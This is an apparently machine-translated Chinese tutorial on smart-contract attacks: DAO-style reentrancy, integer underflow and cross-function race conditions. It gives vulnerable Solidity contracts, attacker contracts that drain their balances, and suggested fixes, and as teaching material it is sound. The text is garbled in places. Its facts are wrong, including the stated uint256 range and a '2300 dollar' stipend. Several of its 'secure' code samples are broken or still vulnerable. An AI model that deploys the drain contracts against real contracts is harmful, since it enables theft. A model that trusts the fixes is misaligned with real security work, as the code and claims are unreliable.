如果你一直在跟蹤區(qū)塊鏈技術(shù)，你可能聽(tīng)說(shuō)過(guò)一兩次智能合約攻擊，這些攻擊導(dǎo)致了價(jià)值數(shù)千萬(wàn)美元的加密貨幣資產(chǎn)被盜。最引人注目的攻擊仍然是分散自治組織（DAO），它是加密貨幣史上最受期待的項(xiàng)目之一，也是智能合約革命能力的典型代表。雖然大多數(shù)人都聽(tīng)說(shuō)過(guò)這些攻擊事件，但很少有人真正了解到底出了什么問(wèn)題，以及如何避免再犯兩次同樣的錯(cuò)誤。

智能合約是動(dòng)態(tài)的、復(fù)雜的、而且它強(qiáng)大到讓人難以置信。雖然它們的潛力是不可想象的，但它也不可能一出現(xiàn)就具備防范攻擊體制。這就是說(shuō)，我們都應(yīng)從以前的錯(cuò)誤中學(xué)習(xí)，并共同成長(zhǎng)。

盡管DAO已經(jīng)成為過(guò)去，但它仍然是開(kāi)發(fā)人員、投資者和社區(qū)成員應(yīng)該熟悉的容易受到智能合約攻擊的一個(gè)很好的例子。

無(wú)論您是開(kāi)發(fā)人員、投資者還是加密貨幣愛(ài)好者，了解這些攻擊將使您對(duì)這項(xiàng)有前途的技術(shù)有更深的了解。

攻擊＃1：重入

當(dāng)攻擊者通過(guò)遞歸調(diào)用目標(biāo)的退出函功能從目標(biāo)中抽走資金時(shí)，就會(huì)發(fā)生重發(fā)式攻擊，DAO就是這種情況。當(dāng)合約在發(fā)送資金前未能更新其狀態(tài)（用戶余額）時(shí)，攻擊者可以連續(xù)調(diào)用撤回功能來(lái)耗盡合約的資金。只要攻擊者接收到以太幣，攻擊者的合約就會(huì)自動(dòng)調(diào)用它的撤回功能，該功能將會(huì)被寫入以再次調(diào)用撤回的算法中。此時(shí)攻擊已經(jīng)進(jìn)入遞歸循環(huán)，合約的資金開(kāi)始向攻擊方轉(zhuǎn)移。由于目標(biāo)合約被阻止調(diào)用攻擊者的撤回功能，該合約永遠(yuǎn)不能更新攻擊者的數(shù)據(jù)。目標(biāo)合約被騙得以為一切正常。需要說(shuō)明的是，撤回功能是合約的本質(zhì)性功能，只要合約接收到以太幣和其他數(shù)據(jù)，合約就會(huì)自動(dòng)執(zhí)行它。

此次攻擊的流程

1、攻擊者向目標(biāo)合約捐贈(zèng)以太幣

2、目標(biāo)合約更新攻擊者捐贈(zèng)以太幣的余額

3、攻擊者要求返還資金

4、資金匯回

5、攻擊者的撤回功能是觸發(fā)器，并要求隨后退出

6、智能合約更新攻擊者平衡的邏輯尚未執(zhí)行，因此再次成功調(diào)用撤回

7、資金被發(fā)送到攻擊者

8、重復(fù)步驟5–7

9.一旦攻擊結(jié)束，攻擊者就會(huì)把合約上的資金送到他們的個(gè)人地址上去。

可重入攻擊的遞歸循環(huán)

不幸的是，一旦攻擊開(kāi)始，就沒(méi)有辦法阻止它。攻擊者的撤回功能將被反復(fù)調(diào)用，直到合約用完或者受害者的以太幣被耗盡。

下面的代碼是易受影響的DAO合同的簡(jiǎn)化版本，其中包含評(píng)論以更好地理解那些不熟悉編程/可靠性的合同。

contract babyDAO {

/* assign key/value pair so we can look up

credit integers with an ETH address */

mapping （address =》 uint256） public credit;

/* a function for funds to be added to the contract，

sender will be credited amount sent */

funcTIon donate（address to） payable {

credit［msg.sender］ += msg.value;

}

/*show ether credited to address*/

funcTIon assignedCredit（address） returns （uint） {

return credit［msg.sender］;

}

/*withdrawal ether from contract*/

funcTIon withdraw（uint amount） {

if （credit［msg.sender］ 》= amount） {

msg.sender.call.value（amount）（）;

credit［msg.sender］ -= amount;

}

}

}

如果我們看一下這個(gè)功能被提取，我們可以看到DAO聯(lián)系人使用address.call.value向msg.sender發(fā)送資金。不僅如此，合約還更新了資金發(fā)出后的信用狀態(tài)［msg.sender］。兩者都是大禁忌。認(rèn)識(shí)到合約代碼中的這些漏洞，攻擊者可以使用類似合同的契約ThisAHodlUp{}來(lái)清算所有的合約DADO基金。

import ‘browser/babyDAO.sol’;

contract ThisIsAHodlUp {

/* assign babyDAO contract as “dao” */

babyDAO public dao = babyDAO（0x2ae.。.）;

address owner;

/*assign contract creator as owner*/

constructor（ThisIsAHodlUp） public {

owner = msg.sender;

}

/*fallback funcTIon， withdraws funds from babyDAO*/

function（） public {

dao.withdraw（dao.assignedCredit（this））;

}

/*send drained funds to attacker’s address*/

function drainFunds（） payable public{

owner.transfer（address（this）.balance）;

}

}

注意，撤回這一功能，調(diào)用的是DAO的撤銷功能，或合約的babyDAO{}，以此來(lái)從合約中竊取資金。另一方面，在攻擊結(jié)束時(shí)，如果攻擊者想將所有被盜的以太幣發(fā)送到其地址，則會(huì)調(diào)用撤回功能。

解決之道

到目前為止，可以清楚地看到，重入攻擊利用了兩種特殊的智能合約漏洞。第一種是當(dāng)合約的狀態(tài)在資金發(fā)送之后而不是之前更新。由于在發(fā)送資金之前沒(méi)有更新合同狀態(tài)，功能可能在計(jì)算過(guò)程中被中斷，合約會(huì)被誘使認(rèn)為資金還沒(méi)有實(shí)際發(fā)出。第二個(gè)漏洞是當(dāng)合約錯(cuò)誤地使用address.call.value來(lái)發(fā)送資金，而不是安全的錢包地址。transfer或address.send兩者都被限制在需要支付2300美元的津貼，但是僅僅記錄一個(gè)事件而不是多個(gè)外部調(diào)用。

發(fā)送資金前更新合約余額發(fā)送資金時(shí)使用address.transfer（）或address.send（）

contract babyDAO{

。..。

function withdraw（uint amount） {

if （credit［msg.sender］ 》= amount） {

credit［msg.sender］ -= amount; /* updates balance first */

msg.sender.send（amount）（）; /* send funds properly */

}

}

攻擊2：Underflow

盡管DAO合約沒(méi)有成為底層流攻擊的受害者，我們可以利用現(xiàn)有的babyDAO合約{}來(lái)更好地理解是如何發(fā)生常見(jiàn)攻擊的。

首先，讓我們確認(rèn)一下uint256是什么。Auint256是一個(gè)256位的無(wú)符號(hào)整數(shù)（因?yàn)橹挥姓麛?shù)）。Ethereum Virtual Machine設(shè)計(jì)為使用256位作為其字大小，或者一次性使用計(jì)算機(jī)的CPU處理的位數(shù)。由于EVM的大小限制為256位，分配的數(shù)字范圍為0到4294967295（22??）。如果我們看一下這個(gè)范圍，這個(gè)數(shù)字被重置到范圍的底部（22??+1=0）。如果我們進(jìn)入這個(gè)范圍，這個(gè)數(shù)字被重置到范圍的頂端（0–1=22??）。

當(dāng)我們從零減去一個(gè)大于零的數(shù)字時(shí)，就會(huì)產(chǎn)生一個(gè)新的整數(shù)22??。現(xiàn)在，如果攻擊者的平衡經(jīng)驗(yàn)不足，余額將被更新，以便所有的資金都可能被盜。

此次攻擊流程

1、攻擊者通過(guò)向目標(biāo)合約發(fā)送1 Wei發(fā)起攻擊

2、根據(jù)合約，寄件人應(yīng)將款項(xiàng)匯入

3、隨后同一1 Wei的稱為

4、合約從寄件人的信用證中減去1 Wei，現(xiàn)在余額為零

5、因?yàn)槟繕?biāo)合約將以太幣發(fā)送到攻擊者，所以攻擊者的撤回功能也將觸發(fā)并再次調(diào)用退出

6.退場(chǎng)記1 Wei

7.攻擊者的合約余額已經(jīng)更新了兩次，第一次更新為零，第二次更新為-1

8.攻擊者的平衡被重置為22??

9.攻擊者通過(guò)提取目標(biāo)合同中的所有資金完成了攻擊

代碼

import ‘browser/babyDAO’;

contract UnderflowAttack {

babyDAO public dao = babyDAO（0x2ae…）;

address owner;

bool performAttack = true;

/*set contract creator as owner*/

function UnderflowAttack{ owner = msg.sender;}

/*donate 1 wei， withdraw 1 wei*/

function attack（） {

dao.donate.value（1）（this）;

dao.withdraw（1）;

}

/*fallback function， results in 0–1 = 2**256 */

function（） {

if （performAttack） {

performAttack = false;

dao.withdraw（1）;

}

}

/*extract balance from smart contract*/

function getJackpot（） {

dao.withdraw（dao.balance）;

owner.send（this.balance）;

}

}

解決之道

為了避免成為下溢攻擊的受害者，最佳實(shí)踐是檢查更新后的整數(shù)是否保持在其字節(jié)范圍內(nèi)。我們可以在代碼中添加一個(gè)參數(shù)檢查，作為最后一道防線。該功取款第一行是提取檢查是否有足夠的資金，第二行檢查是否溢出，第三行檢查是否有下溢。

contract babysDAO{

。..。

/*withdrawal ether from contract*/

function withdraw（uint amount） {

if （credit［msg.sender］ 》= amount

&& credit［msg.sender］ + amount 》= credit［msg.sender］

&& credit［msg.sender］ - amount 《= credit［msg.sender］） {

credit［msg.sender］ -= amount;

msg.sender.send（amount）（）;

}

}

請(qǐng)注意，我們的上述代碼也會(huì)在發(fā)送資金之前更新用戶的余額，如前所述。

攻擊3：跨功能競(jìng)態(tài)條件的攻擊

同樣重要的是，跨功能競(jìng)態(tài)條件攻擊。正如我們?cè)赗eentrancy攻擊中所討論的，DAO合約未能正確地更新內(nèi)部合約狀態(tài)，因此導(dǎo)致資金被盜。部分DAO和一般的外部調(diào)用問(wèn)題是由于其跨功能競(jìng)態(tài)條件所產(chǎn)生的。

而以太坊中的所有事務(wù)都是串聯(lián)運(yùn)行的（一個(gè)接一個(gè)地運(yùn)行），因此使用外部調(diào)用對(duì)另一份合約或另一個(gè)地址來(lái)說(shuō)，一旦管理不當(dāng)，就會(huì)災(zāi)害連連。當(dāng)兩個(gè)功能調(diào)用并共享同一狀態(tài)時(shí)，將發(fā)生跨功能競(jìng)爭(zhēng)情況。該合約就會(huì)騙的消費(fèi)者認(rèn)為存在的是兩個(gè)合約，而實(shí)際上只有一個(gè)合約。因此，在這個(gè)合約的功能函數(shù)中，我們不能同時(shí)得到X=3和X=4。

讓我們用一個(gè)例子來(lái)說(shuō)明這個(gè)概念。

攻擊與守則

contract crossFunctionRace{

mapping （address =》 uint） private userBalances;

/* uses userBalances to transfer funds */

function transfer（address to， uint amount） {

if （userBalances［msg.sender］ 》= amount） {

userBalances［to］ += amount;

userBalances［msg.sender］ -= amount;

}

}

/* uses userBalances to withdraw funds */

function withdrawalBalance（） public {

uint amountToWithdraw = userBalances［msg.sender］;

require（msg.sender.send（amountToWithdraw）（））;

userBalances［msg.sender］ = 0;

}

}

上述合約有兩個(gè)職能——一個(gè)負(fù)責(zé)轉(zhuǎn)移資金，另一個(gè)負(fù)責(zé)提取資金。讓我們假定攻擊者撤回功能傳輸（），同時(shí)進(jìn)行外部撤回功能的退出Balance（）。使用Balance［msg.sender］的狀態(tài)將被拉向兩個(gè)不同的方向。用戶的余額還沒(méi)有設(shè)置為0，但是攻擊者也能夠轉(zhuǎn)移資金，盡管它們已經(jīng)被撤回。在這種情況下合同允許攻擊者花費(fèi)，區(qū)塊鏈技術(shù)的目的就是要解決其中的一個(gè)問(wèn)題。

注意：如果這些合同共享狀態(tài)，則跨多個(gè)合同可能會(huì)發(fā)生跨職能競(jìng)爭(zhēng)條件。

1.在調(diào)用外部函數(shù)之前，首先完成所有內(nèi)部工作

2.避免打外線電話

3.在不可避免的情況下，將外部撤回功能標(biāo)記為“不可信”

4.在不可避免的外部撤回時(shí)使用互斥體

根據(jù)下面的合約，我們可以看到一個(gè)合約的例子，1）。在打外部電話之前進(jìn)行內(nèi)部工作、2），將所有外部調(diào)用函數(shù)標(biāo)記為“不可信”。我們的合約允許資金被發(fā)送到一個(gè)地址，并允許用戶一次性獎(jiǎng)勵(lì)最初將資金存入合約中的人。

contract crossFunctionRace{

mapping （address =》 uint） private userBalances;

mapping （address =》 uint） private reward;

mapping （address =》 bool） private claimedReward;

//makes external call， need to mark as untrusted

function untrustedWithdraw（address recipient） public {

uint amountWithdraw = userBalances［recipient］;

reward［recipient］ = 0;

require（recipient.call.value（amountWithdraw）（））;

}

//untrusted because withdraw is called， an external call

function untrustedGetReward（address recipient） public {

//check that reward hasn’t already been claimed

require（！claimedReward［recipient］）;

//internal work first （claimedReward and assigning reward）

claimedReward = true;

reward［recipient］ += 100;

untrustedWithdraw（recipient）;

}

}

正如我們可以看到的，合約的第一個(gè)功能是在向用戶的合約地址發(fā)送資金時(shí)進(jìn)行外部調(diào)用的。類似地，獎(jiǎng)勵(lì)功能也使用撤回功能來(lái)發(fā)送一次性獎(jiǎng)勵(lì)，因此也是不可信的。同樣重要的是，合約首先執(zhí)行所有內(nèi)部工作。與我們的可重入攻擊示例一樣，功能GetReward在允許退出以防止跨功能爭(zhēng)用的情況發(fā)生之前，授予用戶一次獎(jiǎng)勵(lì)的信用。

在一個(gè)完美的世界里，智能合約不需要依靠外部調(diào)用。事實(shí)是，在許多情況下，外部聯(lián)通幾乎不可能發(fā)揮作用。因此，使用互斥體來(lái)“鎖定”某個(gè)狀態(tài)，并只授予所有者更改狀態(tài)的能力，可以幫助避免代價(jià)高昂的災(zāi)難。盡管互斥非常有效，但在用于多個(gè)合約時(shí)，它們可能會(huì)變得很棘手。如果您使用互斥體來(lái)保護(hù)不受各種條件的影響，那么您需要仔細(xì)確保沒(méi)有其他方法可以聲明鎖定，并且永遠(yuǎn)不會(huì)被釋放。如果使用互斥方式，請(qǐng)確保您在與他們簽訂合約時(shí)已經(jīng)徹底了解了潛在的危險(xiǎn)（死鎖、活鎖等）。

contract mutexExample{

mapping （address =》 uint） private balances;

bool private lockBalances;

function deposit（） payable public returns （bool） {

/*check if lockBalances is unlocked before proceeding*/

require（！lockBalances）;

/*lock， execute， unlock */

lockBalances = true;

balances［msg.sender］ += msg.value;

lockBalances = false;

return true;

}

function withdraw（uint amount） payable public returns （bool） {

/*check if lockBalances is unlocked before proceeding*/

require（！lockBalances && amount 》 0 && balances［msg.sender］

》= amount）;

/*lock， execute， unlock*/

lockBalances = true;

if （msg.sender.call（amount）（）） {

balances［msg.sender］ -= amount;

}

lockBalances = false;

return true;

}

}

上面我們可以看到合約mutexExample具有執(zhí)行功能存款和功能提取的私有鎖狀態(tài)。該鎖將阻止用戶在第一次調(diào)用完成之前成功地調(diào)用撤銷，從而防止出現(xiàn)任何類型的跨功能爭(zhēng)用狀態(tài)。

強(qiáng)大的力量同時(shí)帶來(lái)巨大的責(zé)任。盡管區(qū)塊鏈和智能合合約術(shù)仍在不斷發(fā)展，但風(fēng)險(xiǎn)仍然很高。攻擊者還沒(méi)有放棄尋找合適的機(jī)會(huì)，抓住設(shè)計(jì)糟糕的合約。